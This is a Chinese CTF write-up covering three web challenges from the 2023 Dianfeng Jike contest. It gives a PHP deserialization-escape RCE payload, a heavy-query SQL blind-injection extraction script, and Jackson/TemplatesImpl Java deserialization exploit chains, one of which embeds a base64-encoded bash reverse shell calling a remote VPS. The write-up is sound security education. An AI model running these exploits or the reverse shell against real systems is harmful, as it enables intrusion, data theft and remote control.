2023巅峰极客比赛web复现

<1> unserialize(反序列化字符串逃逸)

下载 www.zip得到源码:

my.php 存在 pull_it恶意类  反序列化时会执行 $this-x   

这里有一层过滤 $this-x不能为字母数字 可以取反、异或绕过

 下面来找一找怎么去触发反序列化

index.php 会对我们登录框输入的参数先做序列化存储在$_SESSION['login']里,并用 b 函数替换字符

 login.php 则会对我们在index.php 存储到$_SESSION['login']的序列化数据,先用a()函数替换 然后进行反序列化

 看一下a函数和b函数

function b($data) {return str_replace('aaaa', 'bbbbbb', $data);
}function a($data) {return str_replace('bbbbbb', 'aaaa', $data);
}

a函数和b函数都是字符串替换,反序列化之前会调用a函数 对序列化数据进行替换 把 'bbbbbb' 替换为 'aaaa'  存在反序列化字符串逃逸    为:关键词减少的情况

 可以参考之前写的文章:buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_($_session['123'])) burp_葫芦娃42的博客-CSDN博客

 正常输入root=root pwd=pwd的序列化内容:

O:7:"push_it":2:{s:13:"%00push_it%00root";s:4:"root";s:12:"%00push_it%00pwd";s:3:"pwd";}

我们可以通过 给root赋值 bbbbbb再来看一下序列化内容:

O:7:"push_it":2:{s:13:" push_it root";s:6:"aaaa";s:12:"%00push_it%00pwd";s:3:"pwd";}

就可以逃逸出两个字符。

因此我可以通过构造root传参 以这种方式 把后面的  ";s:12:"%00push_it%00pwd";s:3:"  逃逸掉,使其变成 s:双引号里的参数,然后pwd参数就逃逸出来了,我们可以构造pwd 写入构造好的 pull_it类 进行无字母数字rce

payload:(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);  system('ls');

 构造序列化数据

<?php
class pull_it
{private $x;function __construct($xx){$this->x = $xx;}
}
$a = new pull_it("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);");
$payload = serialize($a);
echo urlencode($payload);
# O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A37%3A%22%28%7E%258C%2586%258C%258B%259A%2592%29%28%7E%2593%258C%25DF%25D0%29%3B%22%3B%7D

 前面需要再加上一个参数,因此给pwd赋值:;s:1:"a";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A17%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%93%8C%DF%D0%29%3B%22%3B%7D

O:7:"push_it":2:{s:13:" push_it root";s:4:"root";s:12:" push_it pwd";s:145:";s:1:"a";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A17%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%93%8C%DF%D0%29%3B%22%3B%7D";}

红色部分应该为我们逃逸的字符,长度为  28  那么我们就需要给root传 14个 bbbbbb

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=;s:12:"%00push_it%00pwd";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A19%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%88%97%90%9E%92%96%29%3B%22%3B%7D

<2> hellosql(笛卡尔积盲注)

过滤了if,用case when绕过,sleep、benchmark、rpad也过滤了,用笛卡尔积延时,通常是用count(*),这里count被过滤了,其他函数也可以,这里用sum

heavy query延时原理是:做大量的查询导致查询时间较长来达到延时的效果。通常选择一些比较大的表做笛卡尔积运算

/index.php?id=1'||case when(1) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1

 when() 里就可以放我们的bool语句 进行bool盲注

import requests
import string
import timedic=string.ascii_letters + string.digitsurl = 'http://****/?id='
payload = '''1'||case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
flag=''
for i in range(1,100):for j in dic:data = payload.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)t = time.time()try:r=requests.get(url+data,timeout=3)except Exception as e:passif time.time() - t > 3:flag+=jprint(flag)break
print(flag)

 <3> BabyURL(jackson依赖)

 题目结构如下:

查看 IndexController  发现了 /hack 和 /file路由

/hack路由代码如下: 反序列化的入口

但这里反序列化是自定义对象输入流 MyObjectInputStream

跟进看一下

        String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};

过滤了  Transformer、URLVisiter和URLHelper

 /file路由: 会读取/tmp/file的内容并返回

我们再来看一下URLHelper类的实现

URLHelper类继承了 Serializable接口 存在readObject() 也有一个反序列化入口

 它被反序列化时,会调用 URLVisiter.visitUrl(this.url);  并且把结果写入到 /tmp/file

那如果 URLVisiter.visitUrl() 可以实现任意文件读取的话,就可以 通过反序列化写入 /tmp/file,然后通过/file路由读取了 

我们再看一下 URLVisiter.visitUrl() 代码实现

里面也有一个过滤,会对传入的url做校验 不过可以用 大写File绕过,然后利用 File:// 协议读取文件

所以思路已经明确了,下一步主要是思考怎么去进行 反序列化

(1) SignObject#getObject二次反序列化 

由于URLHelper类被过滤了,无法直接反序列化,不过可以借助 SignObject#getObject 触发二次反序列化二次反序列化

 而在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode) 可以调用getter方法,调用过程如下:

BaseJsonNode#toString
  InternalNodeMapper#nodeToString
    ObjectWriter#writeValueAsString
      ObjectWriter#_writeValueAndClose
        DefaultSerializerProvider#serializeValue
          DefaultSerializerProvider#_serialize
            BeanSerializer#serialize
              BeanSerializerBase#serializeFields
                BeanPropertyWriter#serializeAsField

因此 我们可以通过 BaseJsonNode#toString 调用 SignObject#getObject 进行二次反序列化

注:Java在writeObject序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查,而BaseJsonNode类刚好就实现了这个writeReplace方法。这里的处理方法是:手动在项目中建一个和BaseJsonNode一样包名的类

 

 现在问题又转换为如何调用任意类的toString方法 CC5链中有此类解决方法

JDK中BadAttributeValueExpException 的 readObject中会调用 .toString()

exp如下:

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;public class exp {public static void main(String[] args) throws IOException, SignatureException, InvalidKeyException, NoSuchAlgorithmException, NoSuchFieldException, IllegalAccessException {//URLHelper handler = new URLHelper("File:///");URLHelper handler = new URLHelper("File:///flag_is_here");handler.visiter = new URLVisiter();KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);POJONode node = new POJONode(signedObject);BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);System.out.println(URLEncoder.encode(base64Encode(serialize(val))));}public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {Class clazz=object.getClass();Field declaredField=clazz.getDeclaredField(field_name);declaredField.setAccessible(true);declaredField.set(object,filed_value);}public static byte[] serialize(Object obj) throws IOException {ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(obj);oos.close();return bos.toByteArray();}public static Object unserialize(final byte[] serialized) throws IOException, ClassNotFoundException {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream ois = new ObjectInputStream(btin);ois.close();return ois.readObject();}public static String base64Encode(byte[] bytes) {java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();return encoder.encodeToString(bytes);}
}

再次 file:///flag_is_here 读取flag

(2) 绕过黑名单打TemplatesImpl

上面我们可以知道,POJONode#toString方法可以调用getter方法

而这道题重写的 MyObjectInputStream()#resolveClass 里并没有限制 TemplatesImpl

我们还可以利用 getter 让其调用 TemplatesImpl.getOutputProperties()  从而打TemplatesImpl rce链子

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;public class exp_template {public static void main(String[] args) throws Exception {byte[] code = getTemplates_class();byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "useless");setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val,"val",node);System.out.println(URLEncoder.encode(base64Encode(serialize(val))));}public static byte[] getTemplates_class() throws Exception{ClassPool pool = ClassPool.getDefault();CtClass template = pool.makeClass("MyTemplate");template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}\");";template.makeClassInitializer().insertBefore(block);return template.toBytecode();}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static byte[] serialize(Object obj) throws IOException {ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(obj);oos.close();return bos.toByteArray();}public static String base64Encode(byte[] bytes) {java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();return encoder.encodeToString(bytes);}
}

环境&参考:2023巅峰极客 BabyURL · 语雀

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/26282.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Markdown系列之Flowchat流程图

一.欢迎来到我的酒馆 介绍Markdown的Flowchart流程图语法。 目录 一.欢迎来到我的酒馆二.什么是Flowchart三.更进一步 二.什么是Flowchart 2.1 Flowchart是一款基于javascript的工具&#xff0c;使用它可以用代码创建简单的流程图。具体信息可以查看flowchart官网&#xff1a;…

【暑期每日一练】 Epilogue

目录 选择题&#xff08;1&#xff09;解析&#xff1a; &#xff08;2&#xff09;解析&#xff1a; &#xff08;3&#xff09;解析&#xff1a; &#xff08;4&#xff09;解析&#xff1a; &#xff08;5&#xff09;解析&#xff1a; 编程题题一描述输入描述&#xff1a;输…

ad+硬件每日学习十个知识点(23)23.8.3(LDO 设计实例)(涉及到自控没听懂,学完自控再回来看)

文章目录 1.输入电容的选取&#xff08;两个&#xff0c;一个大电容&#xff0c;一个小电容&#xff09;2.输出电容的选取&#xff08;两个&#xff0c;一个大电容&#xff0c;一个小电容&#xff09;3.有些LDO需要输出的最小负载电流&#xff0c;所以需要接一个下拉电阻。4. 1…

电影售票后台管理系统快速搭建(优惠券制作+java开源)

为了快速搭建电影售票后台管理系统并实现优惠券制作功能&#xff0c;你可以按照以下步骤进行操作&#xff1a; 1. 确定系统的需求和功能&#xff0c;包括用户管理、影院管理、电影管理、订单管理以及优惠券制作等模块。 2. 选择一款适合的Java开源框架来搭建系统&#xff0c;…

【Megatron-DeepSpeed】张量并行工具代码mpu详解(三):张量并行层的实现及测试

相关博客 【Megatron-DeepSpeed】张量并行工具代码mpu详解(三)&#xff1a;张量并行层的实现及测试 【Megatron-DeepSpeed】张量并行工具代码mpu详解(一)&#xff1a;并行环境初始化 【Megatron-DeepSpeed】张量并行工具代码mpu详解(二)&#xff1a;Collective通信操作的封装ma…

SOME/IP学习笔记1

SOA概念 在SOA中,每个服务就好像我们每一个人在社会中扮演的角色,在对别人提供着服务的同时,同时也享受着别人提供出来的服务,人与人之间,既是彼此独立的,又是需要互相通讯的。服务提供者将功能具象为一组接口,这样使用者就能知道如何调用服务,完成某件事情,得到某个…

Windows下调试UEFI程序:Visual Studio调试

以edk2\MdeModulePkg\Application\HelloWorld这个项目作为调试目标。 1. 使用VS2017建立Makefile工程 VS2017, 新建 project&#xff0c;取名X64dbg_vs。 Visual C > Other > Makefile Project, 注意项目路径为HelloWord程序路径。 随便填写config中的字符串&#xff…

【并发编程】ShenyuAdmin里面数据同步用到的无锁环形队列LMAX Disruptor并发框架

并发&#xff0c;数据同步往往是业务开发中比较重要的部分。 shenyu网关数据同步设计方案图 shenyu官网给出的同步设计方案图如下&#xff1a; 基于事件异步并发框架com.lmax.disruptor 下载下示例代码&#xff0c;跑起来发现&#xff0c;在shenyuAdmin模块里面用到了com.lma…

【2.2】Java微服务:nacos的使用

✅作者简介&#xff1a;大家好&#xff0c;我是 Meteors., 向往着更加简洁高效的代码写法与编程方式&#xff0c;持续分享Java技术内容。 &#x1f34e;个人主页&#xff1a;Meteors.的博客 &#x1f49e;当前专栏&#xff1a; 深度学习 ✨特色专栏&#xff1a; 知识分享 &…

观测数据建模

观测数据 观测数据 / 样本空间覆盖均匀 psm 观测数据建模 因果模型得到什么样的值 base 0/1 gmv uplift delat 模型可以得到 confounder 的表征&#xff0c;而 NN 可以支持更个性化的结构。在这里给出两种思路&#xff1a; 思路1: 使用树模型生成的 confounder embedd…

React diff 根据相对位置的 diff 算法

文章目录 diff 算法没有 key 时的diff通过 key 的 diff查找需要移动的节点移动节点添加新元素移除不存在的元素缺点 diff 算法 没有 key 时的diff 根据新旧列表的长度进行 diff 公共长度相同的部分直接patch新列表长度>旧列表长度则添加&#xff0c;否则删除 function pa…

Vue3_02 创建Vue3.0工程

1.使用 vue-cli 创建 ## 查看 vue/cli 版本&#xff0c;确保 vue/cli 版本在4.5.0以上 vue -V 或 vue --version## 安装或升级你的 vue/cli npm install -g vue/cli## 创建 vue create vue_test## 启动 cd vue-test npm run serve 2.使用 vite 创建 什么是vite?——新一代…

图像 检测 - DETR: End-to-End Object Detection with Transformers (arXiv 2020)

图像 检测 - DETR: End-to-End Object Detection with Transformers - 端到端目标检测的Transformers&#xff08;arXiv 2020&#xff09; 摘要1. 引言2. 相关工作2.1 集预测2.2 Transformers和并行解码2.3 目标检测 3. DETR模型References 声明&#xff1a;此翻译仅为个人学习…

深度学习,计算机视觉任务

目录 计算机视觉任务 1.K近邻算法 2.得分函数 3.损失函数的作用 4.向前传播整体流程 5.反向传播计算方法 计算机视觉任务 机器学习的流程&#xff1a; 数据获取 特征工程 建立模型 评估与应用 计算机视觉&#xff1a; 图像表示&#xff1a;计算机眼中的图像&#…

万界星空科技/免费开源MES系统/免费仓库管理

仓库管理&#xff08;仓储管理&#xff09;&#xff0c;指对仓库及仓库内部的物资进行收发、结存等有效控制和管理&#xff0c;确保仓储货物的完好无损&#xff0c;保证生产经营活动的正常进行&#xff0c;在此基础上对货物进行分类记录&#xff0c;通过报表分析展示仓库状态、…

开源项目如何贡献代码

以腾讯犀牛鸟开源项目ncnn为例 目录 fork项目仓库 添加远程仓库 同步更新仓库 贡献代码提交新PR PR未merge更新PR fork项目仓库 只需要做一次 到仓库页面点击fork&#xff0c;然后create forkTencent/ncnn: ncnn is a high-performance neural network inference frame…

性能测试浅谈

早期的性能测试更关注后端服务的处理能力。 一个用户去访问一个页面的请求过程&#xff0c;如上图。 数据传输时间 当你从浏览器输入网址&#xff0c;敲下回车&#xff0c;开始... 真实的用户场景请不要忽视数据传输时间&#xff0c;想想你给远方的朋友写信&#xff0c;信件…

龙架构 Arch Linux 发行版发布

导读近日&#xff0c;龙架构 Arch Linux 发行版官方网站宣布结束 beta 状态&#xff0c;正式支持龙架构 (LoongArch)。 Arch Linux 是一种轻量级、可定制、灵活的 Linux 操作系统。作为一款简单、现代、开放的操作系统&#xff0c;Arch Linux 旨在基于 “KISS 原则”&#xff0…

WorkTool企微机器人自动接收图片回传(方案三)

自动接收图片并上传到服务器&#xff0c;仅适用企业微信应用 前言 WorkTool企微机器人可以接收客户群的消息&#xff0c;但接收图片一直是个问题&#xff0c;前面也介绍过两种图片接收方案&#xff0c;但都会影响运行效率&#xff0c;并且不能达到100%的图片接收率&#xff0…

小研究 - Mysql快速全同步复制技术的设计和应用(一)

Mysql半同步复制技术在高性能的数据管理中被广泛采用&#xff0c;但它在可靠性方面却存在不足.本文对半同步复制技术进行优化&#xff0c;提出了一种快速全同步复制技术&#xff0c;通过对半同步数据复制过程中的事务流程设置、线程资源合理应用、批量日志应用等技术手段&#…